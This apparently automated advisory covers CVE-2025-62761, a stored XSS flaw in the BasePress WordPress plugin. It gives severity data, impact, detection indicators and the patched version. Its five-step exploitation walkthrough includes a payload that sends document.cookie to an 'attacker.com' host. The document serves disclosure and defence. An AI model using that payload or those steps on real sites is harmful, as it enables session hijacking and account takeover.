CVE-2025-62761: 
WordPress vulnerability analysis and mitigation

CVE-2025-62761 is a Stored Cross-Site Scripting (XSS) vulnerability in the BasePress Knowledge Base documentation & wiki plugin for WordPress, affecting all versions through 2.17.0.1. The vulnerability was reported by Muhammad Yudha - DJ on October 28, 2025, and publicly disclosed by Patchstack on December 31, 2025. It carries a CVSS v3.1 base score of 6.5 (Medium), assigned by Patchstack as the CNA (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), a Stored XSS flaw that allows authenticated users with Contributor or Developer-level privileges to inject malicious scripts into knowledge base content. The injected payload is persistently stored in the database and executed in the browsers of other users who view the affected wiki or documentation pages. Exploitation requires low privileges to inject the payload but depends on a privileged user interacting with the affected content for the script to execute (Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of other users' browsers, potentially leading to session hijacking, credential theft, unauthorized actions performed on behalf of victims, and injection of malicious redirects or advertisements into the affected WordPress site. The changed scope (S:C) in the CVSS vector indicates the impact extends beyond the plugin itself to the broader WordPress environment and its visitors. Both confidentiality and integrity are impacted at a low level, with limited availability impact (Patchstack).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.033% (0.000330), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Patchstack classifies this as low priority with no impactful threat currently observed (Patchstack).

1. Gain low-privilege access: Obtain a Contributor or Developer account on the target WordPress site running BasePress plugin version 2.17.0.1 or earlier.
2. Identify injection point: Navigate to the BasePress knowledge base content editor and locate an input field (e.g., article title, body, or custom field) that is not properly sanitized before storage.
3. Inject malicious payload: Submit a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or a similar script within the knowledge base content.
4. Wait for victim interaction: The payload is stored in the database and executes automatically when an administrator or other privileged user views the affected knowledge base page.
5. Harvest results: Collect stolen session cookies, credentials, or other sensitive data from the attacker-controlled server, potentially enabling account takeover or further site compromise (Patchstack).

• Logs: WordPress access logs showing POST requests to BasePress content creation or editing endpoints from low-privilege accounts containing encoded script tags or JavaScript event handlers.
• Database: Unexpected <script> tags, javascript: URIs, or HTML event attributes (e.g., onerror, onload) stored in BasePress knowledge base content fields in the WordPress database.
• Network: Outbound requests from victim browsers to unknown external domains shortly after viewing BasePress knowledge base pages, potentially carrying cookie or session data.
• File System: Presence of BasePress plugin version 2.17.0.1 or earlier in the WordPress plugins directory (/wp-content/plugins/basepress/).

The vendor has released version 2.17.0.2 of the BasePress Knowledge Base plugin, which patches this vulnerability. Site administrators should update the plugin to version 2.17.0.2 or later immediately via the WordPress admin dashboard or by using Patchstack's auto-update feature for vulnerable plugins. If an immediate update is not possible, restricting Contributor-level user registration and content submission capabilities can reduce the attack surface until the patch is applied (Patchstack).